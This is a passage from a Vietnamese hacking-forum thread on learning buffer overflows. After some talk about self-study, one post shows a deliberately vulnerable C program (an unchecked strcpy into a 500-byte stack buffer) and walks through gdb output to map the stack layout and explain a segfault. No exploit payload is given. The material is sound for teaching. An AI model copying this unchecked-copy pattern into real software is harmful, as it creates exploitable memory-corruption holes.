@xtinhcau: tôi nghĩ đọc sách những đề tài thế này, thường sẽ dẫn đến hai tình huống: 1. tưởng là hiểu nhưng hóa ra không hiểu gì hết. 2. tưởng là hiểu nhưng hóa ra chỉ là nhớ. cả hai tình huống này đều dẫn đến một kết quả: làm không được. Tôi nghĩ chỉ nên nghĩ là "đã hiểu" một khi có thể tự phân tích và tự giải quyết được những vấn đề tương tự nhưng khác hoặc mới hơn những vấn đề mà sách đưa ra.  
Um, ở đây mình mới "hiểu ý sách nói gì", còn như mình đã nói khi thực hiện được các bài tập đó thì mức hiểu đã được nâng tầm: hiểu về hệ thống, biến thành kiến thức của mình,... Mình nghĩ mình ý thức rất rõ điều đó :)

mrro wrote:
Kiến thức mà mình tự gain được, bao giờ cũng bền chắc hơn rất nhiều kiến thức mà người khác nhồi vào đầu mình. Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó. Nói chung là nên tìm một ông thầy tốt như anh lamer :p. --m  
Hì, được học hỏi một ai đó giỏi và có kinh nghiệm, đặc biệt với một số vấn đề gai góc thì ai cũng muốn. Tuy nhiên không cái gì muốn cũng được :)]]>
/hvaonline/posts/list/20243.html#141762 /hvaonline/posts/list/20243.html#141762 GMT
Re: [Hỏi] - Vài điều về buffer overflow /hvaonline/posts/list/20243.html#141795 /hvaonline/posts/list/20243.html#141795 GMT Re: [Hỏi] - Vài điều về buffer overflow Code:
$ cat -n vuln.c
     1  /*
     2   * vuln.c
     3   */
     4  int
     5  main(int argc, char *argv[])
     6  {
     7          char buf[500];
     8          strcpy (buf, argv[1]);
     9          return 0;
    10  }
$ gcc -o vuln -g vuln.c
$ gdb -q vuln
(gdb) disas main
Dump of assembler code for function main:
0x8048328 <main>:       push   ebp
0x8048329 <main+1>:     mov    ebp,esp
0x804832b <main+3>:     sub    esp,0x208
0x8048331 <main+9>:     and    esp,0xfffffff0
0x8048334 <main+12>:    mov    eax,0x0
0x8048339 <main+17>:    sub    esp,eax
0x804833b <main+19>:    sub    esp,0x8
0x804833e <main+22>:    mov    eax,DWORD PTR [ebp+12];Có lẽ là lea của argv[1]
0x8048341 <main+25>:    add    eax,0x4
0x8048344 <main+28>:	push   DWORD PTR [eax]; push địa chỉ của argv[1]?
0x8048346 <main+30>:	lea    eax,[ebp-520] ;load địa chỉ của buf
0x804834c <main+36>:	push   eax ; push buf lên?
0x804834d <main+37>:	call   0x8048268 <strcpy>
0x8048352 <main+42>:	add    esp,0x10
0x8048355 <main+45>:	mov    eax,0x0
0x804835a <main+50>:	leave  
0x804835b <main+51>:	ret    
End of assembler dump.
(gdb)
Đầu tiên set breakpoint ngay tại strcpy (dòng số 8) và run với một argument là test như sau:
(gdb) b 8 Breakpoint 1 at 0x804833b: file vuln.c, line 8. (gdb) r test Starting program: /home/khoai/vuln test Breakpoint 1, main (argc=2, argv=0xbffffb14) at vuln.c:8 8 strcpy (buf, argv[1]); (gdb) 
Chú ý argv trỏ đến 0xbffffb14, là một địa chỉ trên stack nơi mà input argument 0 sẽ trỏ đến. Địa chỉ của argv này là ở đâu? Và có liên quan đến cái stack của mình như thế nào:
(gdb) x/ &argv 0xbffffac4: 0xbffffb14 (gdb) x/4x $ebp 0xbffffab8: 0xbffffae8 0x40030bb4 0x00000002 0xbffffb14 (gdb) x/4x 0xbffffb14 0xbffffb14: 0xbffffc0d 0xbffffc1e 0x00000000 0xbffffc23 (gdb) x/s 0xbffffc0d 0xbffffc0d: "/home/khoai/vuln" (gdb) x/s 0xbffffc1e 0xbffffc1e: "test"  
Như vậy, ta có thể hình dung phần stack của mình như sau:
High mem <------------------------------------> Low mem [argv][argc][old EIP][old EBP][...buf...]  
argv ->0xbffffb14->0xbffffc0d là string /home/khoai/vuln. Còn argv[1] -> 0xbffffc1e là string "test".Thử chạy lại vuln, giữ nguyên cái breakpoint nhưng lần này không cho tham số nào cả xem cái stack của mình như thế nào:
(gdb) r Starting program: /home/khoai/vuln Breakpoint 1, main (argc=1, argv=0xbffffb14) at vuln.c:8 8 strcpy (buf, argv[1]); (gdb) x/4x $ebp 0xbffffab8: 0xbffffae8 0x40030bb4 0x00000001 0xbffffb14  
Lần này, argv -> 0xbffffb14, còn argc = 1. Thử xem ngay tại 0xbffffb14 có gì hấp dẫn:
(gdb) x/4x 0xbffffb14 0xbffffb14: 0xbffffc12 0x00000000 0xbffffc23 0xbffffc52 (gdb) x/s 0xbffffc12 0xbffffc12: "/home/khoai/vuln"  
Vậy argv[0] -> "/home/khoai/vuln", còn argv[1] = 0. Khi strcpy được gọi, nó sẽ cố gắng truy cập vào vùng nhớ 0x0, dẫn đến tình trạng segmentation fault. Ai rãnh rỗi có thể mò thêm tại 0xbffffb1c (argv[0] + 2) có gì hấp dẫn. khoai]]>
/hvaonline/posts/list/20243.html#150743 /hvaonline/posts/list/20243.html#150743 GMT